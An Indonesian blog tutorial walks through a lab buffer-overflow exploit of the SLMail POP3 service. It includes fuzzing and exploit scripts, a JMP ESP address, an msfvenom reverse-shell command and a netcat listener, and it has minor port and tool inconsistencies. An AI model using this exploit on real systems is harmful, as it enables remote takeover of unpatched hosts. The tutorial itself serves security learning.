Assalamualaikum Wr. Wb
Mungkin ini salah satu topik yang sudah sering dibahas dan mungkin ada beberapa temen yang nggak tau atau masih belajar seperti saya, yaitu Buffer Overflow. Sekilas apa itu Buffer Overflow?
Buffer overflow terjadi ketika suatu program atau proses mencoba untuk menulis lebih banyak data ke blok memori dengan panjang tetap, atau buffer, daripada buffer yang dialokasikan untuk disimpan (source).
Sesuai dengan judul kita akan mencoba buffer overflow pada salah satu program windows yaitu SLMAIL, SLmail sudah sering dibahas dimana2 karena program ini salah satu alat untuk belajar buffer overflow buat noob kek saya ini (sad cuk :” ). Hal yang perlu dipsersiapkan :
- Download SLMAIL
- VMWARE (optional)
- Immunity Debugger (ini sebenernya bisa diganti dengan yang lain seperti OllyDBG, IDA, dll)
- mona.py (plugin immunity debugger)
Install SLMAIL
Untuk instalasi SLMAIL cukup mudah kalian hanya tinggal klik next dan next, jika sudah terinstall kalian bisa masuk ke konfigurasi SLmail yang terletak di Control Panel > SL Mail(32-bit)
oh ya disini saya menggunakan windows 10 x64 untuk menjalankan SL mail nya dan untuk attacker nya saya menggunakan kali-linux docker.
Jika slmail sudah diinstall dan servicenya sudah dijalankan, maka kalian akan mendapati port 110 terbuka,port tersebut adalah port untuk POP server. Kalian bisa melihatnya dengan command pada windows atau bisa menggunakan nmap jika berbeda mesin :
netstat -an | find /i "listening"
nmap -sC -sV 192.168.88.46 Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-26 20:39 WIB Nmap scan report for 192.168.88.46 Host is up (0.012s latency). Not shown: 991 closed ports PORT STATE SERVICE VERSION 25/tcp open smtp SLmail smtpd 5.5.0.4433 | smtp-commands: DESKTOP-K9V01EI, SIZE 100000000, SEND, SOML, SAML, HELP, VRFY, EXPN, ETRN, XTRN, |_ This server supports the following commands. HELO MAIL RCPT DATA RSET SEND SOML SAML HELP NOOP QUIT 79/tcp open finger? |_finger: ERROR: Script execution failed (use -d to debug) 106/tcp open pop3pw? 110/tcp open pop3? |_ssl-cert: ERROR: Script execution failed (use -d to debug) |_ssl-date: ERROR: Script execution failed (use -d to debug) |_sslv2: ERROR: Script execution failed (use -d to debug) |_tls-alpn: ERROR: Script execution failed (use -d to debug) |_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP) 912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP) Service Info: Host: DESKTOP-K9V01EI; OS: Windows; CPE: cpe:/o:microsoft:windowsn :
Find Instruction Pointer (EIP)
Hal ini kita lakukan dengan mengirimkan user dan password yang sangat panjang pada saat kita melakukan login ke SLMAIl lewat port 110. Sekarang kita coba untuk connect ke port 110 menggunakan netcat
dan hasilnya adalah :
Bisa dilihat diatas terdapat field USER dan PASS, nanti kita akan coba brute field PASS dengan character yang akan kita generate, kita gunakan script sederhana untuk melakukannya .
#!/usr/bin/python import socket buffer = ["A"] repeat = 100 while len(buffer): buffer.append("A"*repeat) repeat = repeat+200 for string in buffer: print("%s terkirim" % len(string)) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('IP_WINDOWS',110)) s.recv(1024) s.send('USER username\r\n'.encode("utf-8")) s.recv(1024) s.send(('PASS ' + string + '\r\n').encode("utf-8")) s.send(('QUIT\r\n').encode("utf-8")) s.close()
bisa kita lihat disini bahwa isi dari EIP sudah terganti dengan 414141
yaitu ASCII dari "A"
ketika kita mengirimkan sebanyak 2700 character , jadi kenapa EIP ini penting EIP (Extended Instruction Pointer) adalah jenis register khusus dan hanya menyimpan alamat (address) RAM yang menyimpan Instruksi yang akan dieksekusi oleh CPU. Jadi, CPU akan selalu melihat EIP untuk mengetahui dimana instruksi berikutnya tersimpan dan kemudian mengambil dan mengeksekusinya. Tujuan kita adalah men-overwrite EIP agar menunjuk ke memory address yang kita inginkan.
Sekarang kita cari di-character keberapa program mengalami crash, kita bisa menggunakan tools metasploit:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
custom sedikit script yg tadi :
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer = "payload hasil msfvenom" try: print ("\nSending buffer...") s.connect(("192.168.88.46", 110)) data = s.recv(1024) s.send('USER username\r\n'.encode("utf-8")) data = s.recv(1024) s.send(('PASS ' + buffer + '\r\n').encode("utf-8")) print ("\nDone!".encode("utf-8")) except: print("Could not connect!")
EIP berisi 39694438
sekarang kita cari offset nya dengan msfvenom :
Jadi EIP akan teroverwrite dan program akan crash ketika jumlah char yg kita masukan sebanyak 2606. Nantinya susunan payload kita akan seperti ini :
|-----|buffer_offset + JMP ESP + NOP sled + Shellcode|-----|
Kita akan memasukan payload ke dalam ESP
dengan begini EIP
(Instruction pointer) akan menjalankan payload, tapi sebelum ita kita perlu tau alamat EIP
. Untuk itu kita akan memanfaatkan instruksu JMP ESP
dengan begini kita akan tahu alamat EIP
, untuk mencarinya kita bisa menggunakan module tambahan immunity debugger yaitu mona.py.
click huruf “e” yang ada di menu immunity debugger lalu pilih program SLMFC. Jika sudah maka akan muncul tampilan seperti di bawah.
Lalu ketik !mona find -s “\xff\xe4″ -m slmfc.dll
jika berhasil kita akan menemukan opcode dari instruksi tersebut, yaitu FFE4
dan alamat memorynya 0x5f4a358f
atau \x8f\x35\x4a\x5f
Jika kurang yakin kalian bisa jalankan script ini, lalu pasang breakpoint di alamat memory JMP ESP tadi, jika berhasil alamat memory akan tereplace dengan karakter “C”.
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * (3500-2600-4)
try:
print "\nSending buffer"
connect = s.connect(("192.168.1.42",110))
s.recv(1024)
s.send('USER username\r\n')
s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.send('QUIT\r\n'.encode('utf-8'))
s.close()
except:
print "Disconnected"
Setelah itu kita akan mencoba mencari badchar atau character yang akan error jika dieksekusi, karena jika shellcode kita terdapat karakter tsb sudah pasti shellcode tidak akan tereksekusi. Tapi sebelumnya mohon maaf karena tidak ada screenshot untuk test badchars ini saya akan langsung kasih tau badchars nya, yaitu \x00, \x0a, \x0d dan berikut script untuk mengetes character nya :
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer = "A" * 2606 + "B" * 4 + badchars
try:
print ("\nSending buffer…")
s.connect(("192.168.1.42", 110))
data = s.recv(1024)
s.send('USER username\r\n'.encode("utf-8"))
data = s.recv(1024)
s.send(('PASS ' + buffer + '\r\n').encode("utf-8"))
print ("\nDone!".encode("utf-8"))
except:
print("Could not connect!")
Bisa kita lihat program crash ketika mencapai character \x0a, dengan begita kita harus menghapus character tersebut dari script kita tadi, lakukan ini sampai character dapat dimuat semua. Disini kita akan dapat list badchars yaitu \x0a dan \x0d, dengan ini kita akan mengenerate shellcode tanpa badchars tadi :
msfvenom -p windows/shell_reverse_tcp LHOST=[attack machine IP] LPORT=443 -f c -a x86 --platform windows -b "\x00\x0A\x0D" -e x86/shikata_ga_nai
replace LHOST ke ip address attacker dan LPORT untuk port yang akan digunakan pada mesin attacker.
Sekarang kita gabungkan shellcode kita ke bentuk payload yang kita sudah sepakati diatas, script nya akan menjadi seperti ini :
PS : untuk shellcode ini bentuknya akan berbeda-beda jadi jangan copas semua.
import socket shellcode = ("replace dengan shellcode hasil generate tadi" ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #bagian pertama adalah buffer offset, lalu bagian kedua adalah address dari opcode JMP ESP, dan yang satu ini adalah nopsled, dan yang terakhir adalah shellcode payload = "A" * 2606 + "\x8f\x35\x4a\x5f" + "\x90" * 16 + shellcode try: print "\nSend Payload" connect = s.connect(("192.168.1.42",110)) s.recv(1024) s.send("USER username \r\n") s.recv(1024) s.send("PASS " + payload + " \r\n") print "DONE" except: print "Disconnected"
Setelah itu jangan lupa untuk menyiapkan listener dengan netcat, disini saya menyiapkan listener di port 4444 dengan :
ncat -lvvp 4444 atau nc -lvvp 4444
Dan jika kalian sudah berhasil maka kita akan mendapatkan command prompt :
Demikian, Terima Kasih